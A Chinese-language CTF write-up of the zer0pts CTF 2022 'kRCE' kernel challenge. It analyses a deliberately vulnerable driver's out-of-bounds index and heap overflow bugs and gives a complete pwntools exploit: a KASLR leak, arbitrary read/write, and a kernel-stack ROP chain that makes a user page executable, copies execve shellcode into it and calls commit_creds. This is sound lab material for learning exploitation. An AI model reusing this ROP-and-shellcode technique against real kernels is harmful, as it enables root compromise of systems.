文章目录
- 前言
- 题目分析
- 漏洞利用
- 提权
- shell
- exp
前言
这道题目非常有意思,看似 kernel pwn
,但又是一个非常规的 kernel pwn
,通过这个题目也学到了很多,这里主要参考 Will’s Root 的 wp
题目分析
作者写了一个具有多个漏洞的驱动模块,但是我们只能通过交换接口进行相关的操作
#!/bin/sh
# Setup
mdev -s
mount -t proc none /proc
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
stty -opost
echo 2 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
# Install kernel driver
insmod /root/buffer.ko
mknod -m 600 /dev/buffer c `grep buffer /proc/devices | awk '{print $1;}'` 0
chmod 666 /dev/buffer
# Run
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
echo "[ kRCE - zer0pts CTF 2022 ]"
/root/interface
# Cleanup
umount /proc
poweroff -d 0 -f
可以看到这里启动时,是直接执行的 /root/interface
接口程序,而没有给一个本地 shell
,这里作者给了源码,我们先来看下驱动模块源代码:
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/uaccess.h>
#include <linux/slab.h>
#include <linux/random.h>
#define DEVICE_NAME "buffer"
#define BUF_NUM 0x10
#define CMD_NEW 0xeb15
#define CMD_EDIT 0xac1ba
#define CMD_SHOW 0x7aba7a
#define CMD_DEL 0x0da1ba
MODULE_LICENSE("GPL");
MODULE_AUTHOR("ptr-yudai");
MODULE_DESCRIPTION("kRCE - zer0pts CTF 2022");
typedef struct {
uint32_t index;
uint32_t size;
char *data;
} request_t;
char *buffer[BUF_NUM];
long buffer_new(uint32_t index, uint32_t size) {
if (index >= BUF_NUM)
return -EINVAL;
if (!(buffer[index] = (char*)kzalloc(size, GFP_KERNEL)))
return -EINVAL;
return 0;
}
long buffer_del(uint32_t index) {
if (index >= BUF_NUM)
return -EINVAL;
if (!buffer[index])
return -EINVAL;
kfree(buffer[index]);
buffer[index] = NULL;
return 0;
}
// 仔细观察可以发现,buffer_new 和 buffer_del 函数的 index 都是 uint32_t 无符号类型
// 但是到了 buffer_edit 和 buffer_show 却变成了 int32_t 有符合类型,所以这里存在数组越界
long buffer_edit(int32_t index, char *data, int32_t size) {
if (index >= BUF_NUM)
return -EINVAL;
if (!buffer[index])
return -EINVAL;
if (copy_from_user(buffer[index], data, size)) // 没有检查 size 大小,存在堆溢出写
return -EINVAL;
return 0;
}
long buffer_show(int32_t index, char *data, int32_t size) {
if (index >= BUF_NUM)
return -EINVAL;
if (!buffer[index])
return -EINVAL;
if (copy_to_user(data, buffer[index], size)) // 没有检查 size 大小,存在堆溢出读
return -EINVAL;
return 0;
}
static long module_ioctl(struct file *filp,
unsigned int cmd,
unsigned long arg) {
request_t req;
if (copy_from_user(&req, (void*)arg, sizeof(request_t)))
return -EINVAL;
switch (cmd) {
case CMD_NEW : return buffer_new (req.index, req.size);
case CMD_EDIT: return buffer_edit(req.index, req.data, req.size);
case CMD_SHOW: return buffer_show(req.index, req.data, req.size);
case CMD_DEL : return buffer_del (req.index);
default: return -EINVAL;
}
}
static struct file_operations module_fops = {
.owner = THIS_MODULE,
.unlocked_ioctl = module_ioctl,
};
static dev_t dev_id;
static struct cdev c_dev;
static int __init module_initialize(void)
{
if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME)) {
printk(KERN_WARNING "Failed to register device\n");
return -EBUSY;
}
cdev_init(&c_dev, &module_fops);
c_dev.owner = THIS_MODULE;
if (cdev_add(&c_dev, dev_id, 1)) {
printk(KERN_WARNING "Failed to add cdev\n");
unregister_chrdev_region(dev_id, 1);
return -EBUSY;
}
return 0;
}
static void __exit module_cleanup(void)
{
cdev_del(&c_dev);
unregister_chrdev_region(dev_id, 1);
}
module_init(module_initialize);
module_exit(module_cleanup);
这里的漏洞非常明显,数组越界(生溢)和堆溢出
然后再来看下接口程序源码:
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#define CMD_NEW 0xeb15
#define CMD_EDIT 0xac1ba
#define CMD_SHOW 0x7aba7a
#define CMD_DEL 0x0da1ba
typedef struct {
unsigned int index;
unsigned int size;
char *data;
} request_t;
void fatal(const char *msg)
{
perror(msg);
exit(1);
}
void add(int fd)
{
request_t req;
printf("index: ");
if (scanf("%u%*c", &req.index) != 1)
exit(1);
printf("size: ");
if (scanf("%u%*c", &req.size) != 1)
exit(1);
if (ioctl(fd, CMD_NEW, &req))
puts("[-] Something went wrong");
else
puts("[+] Successfully created");
}
void edit(int fd)
{
request_t req;
printf("index: ");
if (scanf("%u%*c", &req.index) != 1)
exit(1);
printf("size: ");
if (scanf("%u%*c", &req.size) != 1)
exit(1);
printf("data: ");
req.data = malloc(req.size);
if (!req.data) {
puts("[-] Invalid size");
return;
}
for (unsigned int i = 0; i < req.size; i++) {
if (scanf("%02hhx", &req.data[i]) != 1)
exit(1);
}
if (ioctl(fd, CMD_EDIT, &req))
puts("[-] Something went wrong");
else
puts("[+] Successfully updated");
free(req.data);
}
void show(int fd)
{
request_t req;
printf("index: ");
if (scanf("%u%*c", &req.index) != 1)
exit(1);
printf("size: ");
if (scanf("%u%*c", &req.size) != 1)
exit(1);
req.data = malloc(req.size);
if (!req.data) {
puts("[-] Invalid size");
return;
}
if (ioctl(fd, CMD_SHOW, &req) < 0)
puts("[-] Something went wrong");
else {
printf("[+] Data: ");
for (unsigned int i = 0; i < req.size; i++) {
printf("%02hhx ", req.data[i]);
}
putchar('\n');
}
free(req.data);
}
void del(int fd)
{
request_t req;
printf("index: ");
if (scanf("%u%*c", &req.index) != 1)
exit(1);
if (ioctl(fd, CMD_DEL, &req) < 0)
puts("[-] Something went wrong");
else
puts("[+] Successfully deleted");
}
int main()
{
int bufd = open("/dev/buffer", O_RDWR | O_CLOEXEC);
if (bufd == -1)
fatal("/dev/buffer");
if (setregid(1337, 1337) == -1)
fatal("setregid");
if (setreuid(1337, 1337) == -1)
fatal("setreuid");
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
puts("1. add");
puts("2. edit");
puts("3. show");
puts("4. delete");
while (1) {
int choice;
printf("> ");
if (scanf("%d%*c", &choice) != 1)
exit(1);
switch (choice) {
case 1: add(bufd); break;
case 2: edit(bufd); break;
case 3: show(bufd); break;
case 4: del(bufd); break;
default: return 0;
}
}
}
可以看到这里提供了四个接口函数来操作内核驱动模块,而这里的接口程序是不存在任何漏洞的
漏洞利用
内核开启了 smap/smep/kaslr/kpti
等保护,接口程序除了 Canary
其它保护全开
在上述漏洞分析中,我们得知驱动模块存在如下漏洞:
- 数组越界
- 堆溢出
但是这里我们只能使用接口函数,使用常规的内核利用方法就失效了,比如我们无法堆喷其它对象,因此这里的堆溢出其实没啥作用,主要还是数组越界的问题。
这个题目我们要解决如下问题:
- 如何只利用接口函数进行提权
- 提权后如何返回一个
shell
由于开启了 smep
,所以这里得在内核态进行提权,然后在用户态返回一个 shell
(其实就是执行 system("/bin/sh")
,跟常规的用户态 pwn
没啥区别,只是此时返回的 shell
是 root
权限,当然这里说的不是很准确,大概就是这个意思)
提权
由于开启了 kaslr
保护,所以这里得先泄漏 kbase
,这个比较简单,通过调试可以发现在 buffer
数组的上面存在大量残余的内核地址,这里通过越界读即可泄漏 kbase
,然后通过 A->B->C
这样的指针结构可以实现任意地址读写
所以后面的问题就是如何利用任意地址读写进行提权,这里的方案其实很多,比如我们可以任意地址读获取 current_task
的地址,然后通过任意地址写修改其 cred/real_cred
字段或修改 uid
等字段。当然这里我使用的参考文章中的方案,还是去控制程序执行流执行 commit_creds(init_cred)
如果是
ramfs
文件系统,则对于拿flag
可以直接爆搜内存
current_task
中的 stack
字段保存着当前任务的内核栈栈顶地址,所以通过任意读可以获取当前任务的内核栈地址,然后就可以利用任意地址写控制内核栈的内容了
所以我们可以在内核栈上步骤好 rop
链即可完成提权
shell
这里返回一个 shell
的方法比较奇妙,主要的想法就是在内核去修改用户态的某个页面 userland_page
的权限为 rwx
,然后在执行 rop
链往 userland_page
页面上写 shellcode
,最后返回到 userland_page
执行即可
当然这里我们或许可以直接在内核态返回一个
shell
,但是其不稳定
exp
最后的 exp
如下:
from pwn import *
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
context.log_level = 'debug'
io = process(["qemu-system-x86_64",
"-m", "64M",
"-nographic",
"-kernel", "bzImage",
"-append", "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr",
"-no-reboot",
"-cpu", "kvm64,+smap,+smep",
"-monitor", "/dev/null",
"-initrd", "rootfs_noshell.cpio"])
def debug():
gdb.attach(io)
pause()
sd = lambda s : io.send(s)
sda = lambda s, n : io.sendafter(s, n)
sl = lambda s : io.sendline(s)
sla = lambda s, n : io.sendlineafter(s, n)
rc = lambda n : io.recv(n)
rl = lambda : io.recvline()
rut = lambda s : io.recvuntil(s, drop=True)
ruf = lambda s : io.recvuntil(s, drop=False)
addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte = lambda n : str(n).encode()
info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh = lambda : io.interactive()
menu = b'> '
def add(idx, size):
sla(menu, b'1')
sla(b'index: ', byte(idx))
sla(b'size: ', byte(size))
def edit(idx, data):
sla(menu, b'2')
sla(b'index: ', byte(idx))
sla(b'size: ', byte(len(data)))
rut(b'data: ')
sleep(1)
for i in data:
sl(str(hex(i)[2:].zfill(2)).encode())
def show(idx, size):
sla(menu, b'3')
sla(b'index: ', byte(idx))
sla(b'size: ', byte(size))
def dele(idx):
sla(menu, b'4')
sla(b'index: ', byte(idx))
def get_addr():
addr = 0
rut(b'Data:')
for i in range(8):
rut(b' ')
addr += int(rc(2), 16) << (i*8)
return addr
show(-73, 8)
kbase = get_addr() - 0x6de40
koffset = kbase - 0xffffffff81000000
info("kbase", kbase)
info("koffset", koffset)
show(-86, 8)
kmodule = get_addr() - 0x2148
buffer_addr = kmodule + 0x2400
info("kmodule", kmodule)
info("buffer_addr", buffer_addr)
def arb_read(addr, size):
edit(-128, p64(addr))
show(-88, size)
def arb_write(addr, data):
edit(-128, p64(addr))
edit(-88, data)
init_task = 0xffffffff81e12580 + koffset
arb_read(init_task+0x2f8, 8)
current_task = get_addr() - 0x2f0
info("current_task", current_task)
arb_read(current_task+0x20, 8)
kstack = get_addr() + 0x3e88
info("kstack", kstack)
arb_read(kstack+0x150, 8)
userland_page = get_addr() & (~0xfff)
info("userland_page", userland_page)
arb_read(kstack+0x168, 8)
userland_stack = get_addr()
info("userland_stack", userland_stack)
pop_rdi = 0xffffffff8114078a + koffset
pop_rsi = 0xffffffff810ce28e + koffset
pop_rdx = 0xffffffff81145369 + koffset
pop_rcx = 0xffffffff810eb7e4 + koffset
init_cred = 0xffffffff81e37a60 + koffset
memcpy = 0xffffffff8163c220 + koffset
copy_to_user = 0xffffffff81269780 + koffset
commit_creds = 0xffffffff810723c0 + koffset
do_mprotect_pkey = 0xffffffff811224f0 + koffset
kpti_trampoline = 0xffffffff81800e10 + 22 +koffset
shellcode = '''
mov rax,0x68732f6e69622f
push rax
mov rdi,rsp
push 0x0
push rdi
mov rax,0x3b
mov rsi,rsp
push 0x0
mov rdx,rsp
syscall
'''
shellcode = asm(shellcode)
add(0, 0x100)
edit(0, shellcode)
arb_read(buffer_addr, 8)
shellcode_addr = get_addr()
info("shellcode_addr", shellcode_addr)
rop = [
pop_rdi,
userland_page,
pop_rsi,
0x1000,
pop_rdx,
7,
pop_rcx,
0xffffffffffffffff,
do_mprotect_pkey,
pop_rdi,
userland_page,
pop_rsi,
shellcode_addr,
pop_rdx,
len(shellcode),
copy_to_user,
pop_rdi,
init_cred,
commit_creds,
kpti_trampoline,
0xdeadbeef,
0xbeefdead,
userland_page,
0x33,
0x200,
userland_stack,
0x2b
]
pay = b''
for i in rop:
pay += p64(i)
arb_write(kstack, pay)
#debug()
sh()
效果如下:有时候会失败,不知道咋回事